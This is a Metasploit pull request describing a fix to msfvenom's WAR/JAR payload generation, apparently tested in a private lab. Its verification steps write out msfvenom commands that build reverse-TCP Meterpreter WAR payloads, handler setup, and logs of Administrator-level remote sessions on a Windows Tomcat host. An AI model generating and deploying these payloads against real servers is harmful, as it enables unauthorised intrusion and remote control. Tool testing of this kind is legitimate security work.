[SeeRM #8724] Fix msfvenom when generating war/jar payloads

While reviewing https://github.com/rapid7/metasploit-framework/pull/2794 we discovered msfvenom was really broken when generating war/jar payloads. The initial pull request from @Meatballs1 tried to fix some problems with msfvenom: https://dev.metasploit.com/redmine/issues/8724

This pull request tries to fix an still broken msfvenom. It should finally solve https://dev.metasploit.com/redmine/issues/8724. 

We are submitting a new pull request because @Meatballs1 is away from computers for some days, so hopefully this one can be reviewed by someone else and msfvenom is fixed asap.

**Verification**

- [ ] create a war from a Java .class payload (like java/meterpreter/reverse_tcp) 

```
./msfvenom -p java/meterpreter/reverse_tcp -f war LHOST=192.168.172.1 LPORT=4444 > /tmp/app.war
```

- [ ] Deploy the WAR on a Windows tomcat server
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the java payload and hopefully enjoy a session when running the payload 

```
msf exploit(handler) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1536) at 2013-12-30 09:24:18 -0600

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
eComputer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
```

- [ ] create a war from a native payload (like windows/meterpreter/reverse_tcp)

```
./msfvenom -p windows/meterpreter/reverse_tcp -f war LHOST=192.168.172.1 LPORT=4444 > /tmp/app2.war
```

- [ ] Deploy the WAR on a Windows tomcat server running JAVA <7u21(patched version)
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the native payload and hopefully enjoy a session when running the payload 
- [ ] Deploy the WAR on a Windows tomcat server running JAVA >7u21
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the native payload and hopefully enjoy a session when running the payload 
- [ ] Deploy the WAR on a Windows tomcat server running JAVA 6
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the native payload and hopefully enjoy a session when running the payload 

```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.244:1537) at 2013-12-30 09:25:45 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
eArchitecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
```